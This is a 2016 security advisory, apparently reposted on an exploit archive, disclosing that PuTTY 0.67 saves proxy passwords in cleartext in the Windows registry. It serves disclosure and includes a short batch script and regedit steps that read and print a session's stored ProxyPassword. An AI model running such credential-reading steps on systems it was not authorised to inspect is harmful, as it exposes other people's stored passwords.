what you don't know can hurt you

Putty 0.67 Cleartext Password Storage

Putty 0.67 Cleartext Password Storage
Posted Nov 20, 2016
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Putty version 0.67 suffers from a cleartext password storage vulnerability.

tags | exploit
MD5 | 3ef307b21a6fc467cf09f4f4bd2be17b

Putty 0.67 Cleartext Password Storage

Change Mirror Download
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/PUTTY.EXE-INSECURE-PASSWORD-STORAGE.txt

[+] ISR: ApparitionSec



Vendor:
==========================
www.chiark.greenend.org.uk



Product:
===========
Putty.exe
v0.67

PuTTY is a free and open-source terminal emulator, serial console and
network file transfer application. It supports several
network protocols, including SCP, SSH, Telnet, rlogin, and raw socket
connection.



Vulnerability Type:
==========================
Cleartext Password Storage



Vulnerability Details:
=====================

Putty.exe stores Passwords unencrypted for sessions that use a Proxy
connection and specify a password to save.

Putty saves sessions in Windows registry and passwords are stored in
cleartext. By storing the passwords in the clear
it can put the Proxy server at risk if the system running Putty is
compromised.

A casual Putty user may not be aware of how and where passwords are stored,
they may assume saving passwords are safe.
As Putty does NOT warn the user to the fact that when saving Proxy
passwords they are stored in cleartext in the registry.


1) Create and save a Putty session specifying a Proxy for the connection,
enter a password and save it.


2) Run the below 'Putty-Insecure-PWD.bat' script to search registry for
saved session passwords.


"Putty-Insecure-PWD.bat"
-----------------------

@echo off

setlocal ENABLEEXTENSIONS
set /p v1=Enter Putty Saved Session: %1

echo Search registry for %v1% session Putty password?

pause

set KEY_NAME=HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\%v1%
set VALUE_NAME=ProxyPassword

FOR /F "tokens=1-3" %%A IN ('REG QUERY %KEY_NAME% /v %VALUE_NAME% 2^>nul')
DO (
set ValueName=%%A
set ValueType=%%B
set ValueValue=%%C
)

if defined ValueName (
@echo Value Name = %ValueName%
@echo Value Type = %ValueType%
@echo Value Password = %ValueValue%

) else (
@echo %KEY_NAME%\%VALUE_NAME% not found.
)

set "v1="


////////////////////////End BAT script/////////////////

e.g. output when run BAT file:

Value Name = ProxyPassword
Value Type = REG_SZ
Value Password = abc123

OR manually open regedit and ctrl+F to find 'SimonTatham' then find your
session Key you saved.

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\<YOUR SESSION NAME>

Next, find String Name 'ProxyPassword' and double click to open

value name:
ProxyPassword

Value data:
<PASSWORD IN CLEAR!>



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close